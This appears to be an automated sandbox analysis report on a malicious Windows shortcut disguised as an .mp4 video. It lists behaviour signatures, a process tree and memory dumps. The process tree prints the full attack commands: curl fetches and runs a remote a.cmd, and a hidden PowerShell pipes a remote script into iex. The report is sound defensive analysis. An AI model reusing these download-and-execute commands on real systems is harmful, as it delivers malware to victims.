Analysis
- user interaction
yes - max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
26/06/2026, 04:21
General
- Target PACK8/teenSnapchatdihhfrombe.mp4.lnk
- Size 697B
- Sample260626-eytfaagy4y
- SHA256 20eea6002b3b0a3716ec6687953ae54b50fc77e00241afddb540fbddf7ff3f65
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 24 IoCs
- Suspicious use of SendNotifyMessage 7 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\PACK8\teenSnapchatdihhfrombe.mp4.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenSnapchatdihhfrombe.mp4)&(curl.exe https://nyx8.net/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://nyx8.net 106)2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenSnapchatdihhfrombe.mp4"3⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\curl.execurl.exe https://nyx8.net/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {param($u,$c); if (-not $u) { exit }; curl.exe \"$u/rAU.ps1\" | iex }" "https://nyx8.net" "106"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" https://nyx8.net/rAU.ps14⤵
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_jybwpggf.eez.ps1
a.cmd
memory/320-47-0x0000023C6C6D0000-0x0000023C6C6F2000-memory.dmp
memory/3160-30-0x00007FFD99480000-0x00007FFD994CF000-memory.dmp
memory/3160-37-0x00007FFD8EA10000-0x00007FFD8EC55000-memory.dmp
memory/3160-9-0x00007FFDA83B0000-0x00007FFDA83C1000-memory.dmp
memory/3160-8-0x00007FFD9A400000-0x00007FFD9A6B6000-memory.dmp
memory/3160-15-0x00007FFDA0DD0000-0x00007FFDA0DE1000-memory.dmp
memory/3160-13-0x00007FFD99E20000-0x00007FFD9A1B0000-memory.dmp
memory/3160-16-0x00007FFD99D40000-0x00007FFD99E12000-memory.dmp
memory/3160-14-0x00007FFDA75B0000-0x00007FFDA75C4000-memory.dmp
memory/3160-17-0x00007FFD99AA0000-0x00007FFD99D36000-memory.dmp
memory/3160-18-0x00007FFD999B0000-0x00007FFD99A98000-memory.dmp
memory/3160-27-0x00007FFD99780000-0x00007FFD99791000-memory.dmp
memory/3160-34-0x00007FFD98E10000-0x00007FFD98E22000-memory.dmp
memory/3160-33-0x00007FFD98E30000-0x00007FFD98E4B000-memory.dmp
memory/3160-32-0x00007FFD993A0000-0x00007FFD9944B000-memory.dmp
memory/3160-31-0x00007FFD99450000-0x00007FFD99475000-memory.dmp
memory/3160-6-0x00007FF731C90000-0x00007FF731D88000-memory.dmp
memory/3160-10-0x00007FFDA7AA0000-0x00007FFDA7AB9000-memory.dmp
memory/3160-29-0x00007FFD994D0000-0x00007FFD99568000-memory.dmp
memory/3160-36-0x000002BF0C100000-0x000002BF0C5BA000-memory.dmp
memory/3160-28-0x00007FFD99570000-0x00007FFD9977B000-memory.dmp
memory/3160-26-0x00007FFD997A0000-0x00007FFD997B1000-memory.dmp
memory/3160-25-0x00007FFD997C0000-0x00007FFD997DA000-memory.dmp
memory/3160-24-0x00007FFD997E0000-0x00007FFD9980D000-memory.dmp
memory/3160-23-0x00007FFD99810000-0x00007FFD99836000-memory.dmp
memory/3160-22-0x00007FFD9BAB0000-0x00007FFD9BAC8000-memory.dmp
memory/3160-21-0x00007FFD99840000-0x00007FFD9986F000-memory.dmp
memory/3160-20-0x00007FFD99870000-0x00007FFD998B1000-memory.dmp
memory/3160-19-0x00007FFD998C0000-0x00007FFD999A3000-memory.dmp
memory/3160-35-0x000002BF0A890000-0x000002BF0C0FF000-memory.dmp
memory/3160-11-0x00007FFD9A1E0000-0x00007FFD9A202000-memory.dmp
memory/3160-12-0x00007FFD9A1B0000-0x00007FFD9A1DB000-memory.dmp
memory/3160-7-0x00007FFDA66E0000-0x00007FFDA6714000-memory.dmp
memory/3160-54-0x00007FFD9A400000-0x00007FFD9A6B6000-memory.dmp
memory/3160-118-0x00007FFD9A400000-0x00007FFD9A6B6000-memory.dmp
memory/3160-145-0x000002BF0A890000-0x000002BF0C0FF000-memory.dmp